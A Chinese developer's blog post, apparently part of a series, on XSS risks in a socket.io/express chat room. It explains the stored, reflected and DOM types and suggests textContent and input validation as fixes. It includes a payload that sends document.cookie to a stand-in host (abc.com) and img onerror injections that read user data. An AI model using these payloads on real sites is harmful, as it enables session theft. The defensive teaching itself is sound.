当前位置: 首页 > news >正文

socket.io+express实现聊天室的思考(三)

这一篇文章主要是对 安全性 的思考,首先了解一下一些常见的网络攻击

xss跨站点脚本攻击

XSS是注入攻击的一种,其特点是不对服务器造成任何伤害,而是通过一些正常的站内交互途径,发布含有js的攻击代码,如果服务器没有没有过滤或者转义这些脚本,作为内容发布到了页面上,其他用户访问这个页面时会运行这些脚本

储存型XSS

也叫作 持久性XSS,会把攻击者的数据储存在服务器端,攻击行为将伴随攻击数据一直存在。
举个栗子

  1. 攻击者以一个普通用户登录进来,然后在输入框提交以下数据

<a href=# onclick=\"document.location=\'http://abc.com/xss.php?c=\'+escape\(document.cookie\)\;\">更多</a>

攻击者提交了这条带标签的数据,该条数据保存在数据库中,而当用户user登录后点击 更多时,在 "abc.com" 所在的服务器上,攻击者就可以窃取到user的sessionID。有了该sessionID,攻击者在会话有效期内可以获得user权限

反射型XSS

即被动的非持久性XSS,通过篡改页面,诱骗用户点击带攻击代码的链接。XSS代码出现在URL中,作为输入提交到服务器中,服务器解析后响应,XSS代码随着响应内容一起传回浏览器,由浏览器解析执行XSS代码,从而攻击用户。

DOM-XSS

在本次项目中的漏洞(部分)

完成demo后,我并没有对用户的输入进行过滤然后尝试了一下<img>标签的脚本注入发现:

<img src="x" onerror="alert(document.getElementById('username').value)">

图片描述

结果:轻而易举得到了用户名。显然,如果不做过滤想要得到用户的密码也是十分简单的

解决方案

一. 将 innerHTML替换成 textContent

innerHTML和 textContent区别:

innerHTML 返回 HTML 文本。通常,为了在元素中检索或写入文本,人们使用innerHTML。但是,textContent通常具有更好的性能,因为文本不会被解析为HTML。此外,使用textContent可以防止 XSS 攻击。

<img src="x" onerror="alert(document.cookie)>

图片描述

不过这种方案存在一个问题,就是无法发送图片。我暂时也没有一个好一点的思路,还请大家指教一下~

二. input输入框登录名验证

var username = document.getElementById('username').value;
var legal = true,
    pattern = new RegExp("[<>`/?!%']|~")
if (username.trim() != '') {
    if (pattern.test(username)) {
        alert("昵称不能包含特殊字符:[<>`/?!%']|~~")
            return false
        }
    else that.socket.emit('login', username)  //不为空,发起一个login事件并将输入的昵称发送到服务器
}
else {
    alert('昵称不能为空')
    document.getElementById('username').focus() //否则输入框获得焦点
}

总结

总而言之,我们不能信任用户的任何输入,只要是需要用户输入的地方都需要做数据的验证和过滤。尤其是对<input>,<img>等标签需要格外的注意。
当然,仅仅前端做过滤是没有用的,用户可以绕过前端的验证,将数据传送到后端。后端必须对前端传过来的数据进行再次验证。

相关文章:

  • 高盛AI生态报告:美国仍是主导,中国正高速成长
  • 【干货】JavaScript DOM编程艺术学习笔记1-3
  • WordPress 前端投稿/编辑插件 DJD Site Post(支持游客和已注册用户)
  • [jQuery]10 Things I Learned from the jQuery Source
  • 并查集(进阶)
  • WebAPI路由、参数绑定
  • [Thinking]三个行
  • 洛谷 P1200 [USACO1.1]你的飞碟在这儿Your Ride Is He…【字符串+模拟】
  • MAC Gradle 下载的问题
  • ios下微信浏览器如何唤醒app?app已上架应用宝
  • C/C++中__builtin_popcount()的使用及原理
  • 交叉验证
  • python获取参数
  • APP开发的常见问题有哪些呢?
  • Ceph,TFS,FastDFS,MogileFS,MooseFS,GlusterFS 对比
  • Idea+maven+scala构建包并在spark on yarn 运行
  • JavaScript异步流程控制的前世今生
  • JS函数式编程 数组部分风格 ES6版
  • Linux CTF 逆向入门
  • MYSQL如何对数据进行自动化升级--以如果某数据表存在并且某字段不存在时则执行更新操作为例...
  • Spark in action on Kubernetes - Playground搭建与架构浅析
  • 大主子表关联的性能优化方法
  • 关于使用markdown的方法(引自CSDN教程)
  • 技术攻略】php设计模式(一):简介及创建型模式
  • 让你成为前端,后端或全栈开发程序员的进阶指南,一门学到老的技术
  • 运行时添加log4j2的appender
  • 在 Chrome DevTools 中调试 JavaScript 入门
  • gunicorn工作原理
  • ​决定德拉瓦州地区版图的关键历史事件
  • #pragma预处理命令
  • #控制台大学课堂点名问题_课堂随机点名
  • (+3)1.3敏捷宣言与敏捷过程的特点
  • (3)Dubbo启动时qos-server can not bind localhost22222错误解决
  • (4)STL算法之比较
  • (HAL库版)freeRTOS移植STMF103
  • (附源码)springboot猪场管理系统 毕业设计 160901
  • (九)信息融合方式简介
  • (转)http-server应用
  • (转)http协议
  • (转)Linq学习笔记
  • (转)Mysql的优化设置
  • (转)Unity3DUnity3D在android下调试
  • (转)一些感悟
  • (最简单,详细,直接上手)uniapp/vue中英文多语言切换
  • .NET / MSBuild 扩展编译时什么时候用 BeforeTargets / AfterTargets 什么时候用 DependsOnTargets?
  • .netcore 如何获取系统中所有session_如何把百度推广中获取的线索(基木鱼,电话,百度商桥等)同步到企业微信或者企业CRM等企业营销系统中...
  • .NET中的Exception处理(C#)
  • ??javascript里的变量问题
  • ??myeclipse+tomcat
  • @column注解_MyBatis注解开发 -MyBatis(15)
  • [Android]RecyclerView添加HeaderView出现宽度问题
  • [bug总结]: Feign调用GET请求找不到请求体实体类
  • [C#] 如何调用Python脚本程序
  • [C++] sqlite3_get_table 的使用
  • [C++]运行时,如何确保一个对象是只读的